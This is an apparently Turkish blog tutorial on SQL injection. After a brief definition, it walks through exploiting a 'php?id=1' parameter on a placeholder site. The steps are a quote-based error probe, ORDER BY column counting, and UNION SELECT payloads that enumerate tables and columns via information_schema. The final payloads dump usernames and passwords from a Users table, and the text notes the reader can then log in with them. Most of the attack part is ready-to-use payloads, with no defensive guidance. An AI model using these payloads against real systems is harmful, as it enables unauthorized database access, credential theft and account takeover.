Sql injection zafiyeti nedir ve nasıl sömürülür?

0

SQL Injection (SQLi) , saldırganların bir uygulamanın veritabanını kontrol etmesini sağlayan verilere erişmelerini veya verilerini silmelerini, bir uygulamanın veri odaklı davranışlarını değiştirmelerini ve diğer istenmeyen şeyleri yapmalarını sağlayan – uygulamayı beklenmeyen SQL komutları göndermeleri için kandırarak, uygulama güvenliği zayıflığıdır. SQL enjeksiyonları, veri güvenliğine en sık rastlanan tehditler arasındadır.

Öncelikle açık olabileceğimizi düşündüğümüz bir site bularak başlıyoruz url kısmında bulunan örneğimizdeki “php?id=1” alanı zafiyetin olabileceği bir veri tabanından değer çekmektedir şimdi ilk iş olarak açığımızın olup olmadığını kontrol ediyoruz, php?id=1 olan parametrenin sonuna ‘(tırnak) işareti koyarak bize hata döndürüp döndürmediğini kontrol ediyoruz.
Şuandaki senaryomuzda açıklı bir siteye uyguluyoruz ve bize hata döndürecek.

http://deneme.com/deneme.php?id=1′

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /www/sites/2/site1/public_html/index.php on line 51

Bu ve buna benze syntax hatalarıda alabilirsiniz, karşınıza böyle bir durum çıktığında anlıyoruz ki yolunda gitmeyen bir şeyler var ve devam ediyoruz, bir tırnak atarak parametrede iki tırnağın arasından kendimizi çıkartmış olduk, artık olayı kendimize çevirerek kodumuzu yazabiliriz şuanda veritabanı hakkında hiç bir bilgimiz yok (tablo isimleri,sütun sayıları,veritabanı ismi vb.) o yüzden ilk olarak “php?id=1” in bulunduğu veritabanındaki tablonun sütun sayısını bulalım.

http://deneme.com/deneme.php?id=1+order+by+1

En sona yazdığımız 1 sayısı sutün sayısını ifade etmektedir şuan sadece tahmin etmekteyiz,sayfamız hata verene kadar sütun sayısını arttırıyoruz.
Bakıyoruz ve kolon sayımız 6’da hata sayfası döndürdü bize o zaman biliyoruz ki toplam kolon sayımız 5 ve biz 6 yazdığımızda aştığı için hata veriyor.

http://deneme.com/deneme.php?id=1+order+by+5

Kolon sayımızı öğrendiğimize göre artık ikinci aşamaya geçebiliriz union birleştirmesi ile kendimize sql kod yazacağız.

http://deneme.com/deneme.php?id=1+union+select+1,2,3,4,5

Şuan kolon sayılarını biliyoruz ve kendimize veri yansıtabileceğimiz bu kolonları ekrana yansıtmış olduk fakat elimizde veri tabanı ismi ve tablo ismi yok onlarıda şu şekilde bulacağız.Ufak bir veritabanı bilgisi ile biz bütün tabloların information.schema nın içerisinde bulunduğunu biliriz ve buradaki tabloları listelemesini isteyeceğiz.

http://deneme.com/deneme.php?id=1+union+all+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()

Yukarıdaki kodumuzda group_concat terimi birden fazla tablo varsa aynı anda hepsini listeleyen terimdir ve içine neyi listeleyeceğini yazıyoruz table_name leri listeleyecek ve bu tabloları information_schema.tables tan çekecek ve where table_schema=database() diyerek veriyi direk database den çektirmiş oluyoruz ve artık çıktı olarak ekrana veri yansıtmak için çağırdığımız kolonlardan 2 numaralı kolona tablo isimlerini yansıtmış olduk.Artık elimizde tablo isimleri var ve arasındaki tablolardan birisi Users olarak varsayıyoruz.

http://deneme.com/deneme.php?id=1’+union+select+1, group_concat(column_name), 3, 4, 5+from+information_schema.columns+where+table_name = ‘Users’

Şimdide yukarıdaki kod ile Users tablosundan kolon isimlerini çekeceğiz sql kodumuzu yazıyoruz bu sefer tablo isimlerini çeken kodumuzdan farklı olarak bu kodumuzda table_name ve .tables yerine column_name ve .columns gelmektedir ve devamında ise hangi tablodan çekmesi gerektiğini where table_name=’Users’ ile belirtiyoruz, bu kodun çıktısı Users tablosundaki kolonlar olacaktır ve orada username,password alanları olduğunu varsayıyoruz, artık kolondaki verileri çekmek kaldı.

http://deneme.com/deneme.php?id=1’+union+select+1, username, password,4,5+from+Users

ÖRNEK BİR TABLODUR

Son olarakta bütün bilgileri öğrendiğimize göre verileri çekme aşamasına geldik, veri yansıtmak için oluşturduğumuz kolonlardan 2 ve 3’üncü kolonlara Users tablosundaki username ve password kolonlarını yansıtıyoruz artık kullanıcı adları ve şiflerini ele geçirmiş bulunmaktayız artık bir login ekranı var ise sitede giriş yapabilirsiniz.

NOT:http://deneme.com/deneme.php?id=1'+union +select+ 1, database(), version(), 4, 5
bu kod bloğundaki database() veritabanı ismini verir, version() ise veritabanı versiyonunu vermekte.

CEVAP VER

Lütfen yorumunuzu giriniz!
Lütfen isminizi buraya giriniz